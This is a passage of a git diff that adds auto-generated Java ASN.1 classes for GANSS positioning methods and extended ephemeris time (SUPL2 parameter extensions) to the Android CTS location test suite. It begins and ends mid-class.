+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIdType != null) {
+ return ImmutableList.of(TAG_ganssIdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIdType from encoded stream.
+ */
+ public static ganssIdType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIdType result = new ganssIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIdType from encoded stream.
+ */
+ public static ganssIdType fromPerAligned(byte[] encodedBytes) {
+ ganssIdType result = new ganssIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIdType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssSBASidType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_ganssSBASidType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssSBASidType() {
+ super();
+ setMinSize(3);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssSBASidType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssSBASidType != null) {
+ return ImmutableList.of(TAG_ganssSBASidType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssSBASidType from encoded stream.
+ */
+ public static ganssSBASidType fromPerUnaligned(byte[] encodedBytes) {
+ ganssSBASidType result = new ganssSBASidType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssSBASidType from encoded stream.
+ */
+ public static ganssSBASidType fromPerAligned(byte[] encodedBytes) {
+ ganssSBASidType result = new ganssSBASidType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssSBASidType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSPositionMethod = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
new file mode 100755
index 0000000..e8a984a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositionMethods.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSPositionMethods
+ extends Asn1SequenceOf<GANSSPositionMethod> {
+ //
+
+ private static final Asn1Tag TAG_GANSSPositionMethods
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSPositionMethods() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSPositionMethods;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSPositionMethods != null) {
+ return ImmutableList.of(TAG_GANSSPositionMethods);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSPositionMethods from encoded stream.
+ */
+ public static GANSSPositionMethods fromPerUnaligned(byte[] encodedBytes) {
+ GANSSPositionMethods result = new GANSSPositionMethods();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSPositionMethods from encoded stream.
+ */
+ public static GANSSPositionMethods fromPerAligned(byte[] encodedBytes) {
+ GANSSPositionMethods result = new GANSSPositionMethods();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSPositionMethod createAndAddValue() {
+ GANSSPositionMethod value = new GANSSPositionMethod();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSPositionMethods = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSPositionMethod value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
new file mode 100755
index 0000000..3ff73e1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSPositioningMethodTypes.java
@@ -0,0 +1,582 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSPositioningMethodTypes extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSPositioningMethodTypes
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSPositioningMethodTypes() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSPositioningMethodTypes;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSPositioningMethodTypes != null) {
+ return ImmutableList.of(TAG_GANSSPositioningMethodTypes);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSPositioningMethodTypes from encoded stream.
+ */
+ public static GANSSPositioningMethodTypes fromPerUnaligned(byte[] encodedBytes) {
+ GANSSPositioningMethodTypes result = new GANSSPositioningMethodTypes();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSPositioningMethodTypes from encoded stream.
+ */
+ public static GANSSPositioningMethodTypes fromPerAligned(byte[] encodedBytes) {
+ GANSSPositioningMethodTypes result = new GANSSPositioningMethodTypes();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSPositioningMethodTypes.setAssistedType setAssisted_;
+ public GANSSPositioningMethodTypes.setAssistedType getSetAssisted() {
+ return setAssisted_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositioningMethodTypes.setAssistedType
+ */
+ public void setSetAssisted(Asn1Object value) {
+ this.setAssisted_ = (GANSSPositioningMethodTypes.setAssistedType) value;
+ }
+ public GANSSPositioningMethodTypes.setAssistedType setSetAssistedToNewInstance() {
+ setAssisted_ = new GANSSPositioningMethodTypes.setAssistedType();
+ return setAssisted_;
+ }
+
+ private GANSSPositioningMethodTypes.setBasedType setBased_;
+ public GANSSPositioningMethodTypes.setBasedType getSetBased() {
+ return setBased_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositioningMethodTypes.setBasedType
+ */
+ public void setSetBased(Asn1Object value) {
+ this.setBased_ = (GANSSPositioningMethodTypes.setBasedType) value;
+ }
+ public GANSSPositioningMethodTypes.setBasedType setSetBasedToNewInstance() {
+ setBased_ = new GANSSPositioningMethodTypes.setBasedType();
+ return setBased_;
+ }
+
+ private GANSSPositioningMethodTypes.autonomousType autonomous_;
+ public GANSSPositioningMethodTypes.autonomousType getAutonomous() {
+ return autonomous_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSPositioningMethodTypes.autonomousType
+ */
+ public void setAutonomous(Asn1Object value) {
+ this.autonomous_ = (GANSSPositioningMethodTypes.autonomousType) value;
+ }
+ public GANSSPositioningMethodTypes.autonomousType setAutonomousToNewInstance() {
+ autonomous_ = new GANSSPositioningMethodTypes.autonomousType();
+ return autonomous_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetAssisted() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetAssisted();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetAssistedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositioningMethodTypes.setAssistedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setAssisted : "
+ + getSetAssisted().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetBased() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetBased();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetBasedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositioningMethodTypes.setBasedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setBased : "
+ + getSetBased().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAutonomous() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAutonomous();
+ }
+
+ @Override public void setToNewInstance() {
+ setAutonomousToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositioningMethodTypes.autonomousType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "autonomous : "
+ + getAutonomous().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setAssistedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_setAssistedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setAssistedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setAssistedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setAssistedType != null) {
+ return ImmutableList.of(TAG_setAssistedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setAssistedType from encoded stream.
+ */
+ public static setAssistedType fromPerUnaligned(byte[] encodedBytes) {
+ setAssistedType result = new setAssistedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setAssistedType from encoded stream.
+ */
+ public static setAssistedType fromPerAligned(byte[] encodedBytes) {
+ setAssistedType result = new setAssistedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setAssistedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setBasedType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_setBasedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setBasedType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setBasedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setBasedType != null) {
+ return ImmutableList.of(TAG_setBasedType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setBasedType from encoded stream.
+ */
+ public static setBasedType fromPerUnaligned(byte[] encodedBytes) {
+ setBasedType result = new setBasedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setBasedType from encoded stream.
+ */
+ public static setBasedType fromPerAligned(byte[] encodedBytes) {
+ setBasedType result = new setBasedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setBasedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class autonomousType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_autonomousType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public autonomousType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_autonomousType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_autonomousType != null) {
+ return ImmutableList.of(TAG_autonomousType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new autonomousType from encoded stream.
+ */
+ public static autonomousType fromPerUnaligned(byte[] encodedBytes) {
+ autonomousType result = new autonomousType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new autonomousType from encoded stream.
+ */
+ public static autonomousType fromPerAligned(byte[] encodedBytes) {
+ autonomousType result = new autonomousType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "autonomousType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSPositioningMethodTypes = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
new file mode 100755
index 0000000..f052bcd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GANSSextEphTime.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSextEphTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSextEphTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSextEphTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSextEphTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSextEphTime != null) {
+ return ImmutableList.of(TAG_GANSSextEphTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSextEphTime from encoded stream.
+ */
+ public static GANSSextEphTime fromPerUnaligned(byte[] encodedBytes) {
+ GANSSextEphTime result = new GANSSextEphTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSextEphTime from encoded stream.
+ */
+ public static GANSSextEphTime fromPerAligned(byte[] encodedBytes) {
+ GANSSextEphTime result = new GANSSextEphTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSextEphTime.gANSSdayType gANSSday_;
+ public GANSSextEphTime.gANSSdayType getGANSSday() {
+ return gANSSday_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSextEphTime.gANSSdayType
+ */
+ public void setGANSSday(Asn1Object value) {
+ this.gANSSday_ = (GANSSextEphTime.gANSSdayType) value;
+ }
+ public GANSSextEphTime.gANSSdayType setGANSSdayToNewInstance() {
+ gANSSday_ = new GANSSextEphTime.gANSSdayType();
+ return gANSSday_;
+ }
+
+ private GANSSextEphTime.gANSSTODhourType gANSSTODhour_;
+ public GANSSextEphTime.gANSSTODhourType getGANSSTODhour() {
+ return gANSSTODhour_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSextEphTime.gANSSTODhourType
+ */
+ public void setGANSSTODhour(Asn1Object value) {
+ this.gANSSTODhour_ = (GANSSextEphTime.gANSSTODhourType) value;
+ }
+ public GANSSextEphTime.gANSSTODhourType setGANSSTODhourToNewInstance() {
+ gANSSTODhour_ = new GANSSextEphTime.gANSSTODhourType();
+ return gANSSTODhour_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSday() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSday();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSdayToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSextEphTime.gANSSdayType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSday : "
+ + getGANSSday().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGANSSTODhour() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGANSSTODhour();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSTODhourToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSextEphTime.gANSSTODhourType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSTODhour : "
+ + getGANSSTODhour().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gANSSdayType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gANSSdayType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gANSSdayType() {
+ super();
+ setValueRange("0", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gANSSdayType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gANSSdayType != null) {
+ return ImmutableList.of(TAG_gANSSdayType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gANSSdayType from encoded stream.
+ */
+ public static gANSSdayType fromPerUnaligned(byte[] encodedBytes) {
+ gANSSdayType result = new gANSSdayType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gANSSdayType from encoded stream.
+ */
+ public static gANSSdayType fromPerAligned(byte[] encodedBytes) {
+ gANSSdayType result = new gANSSdayType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
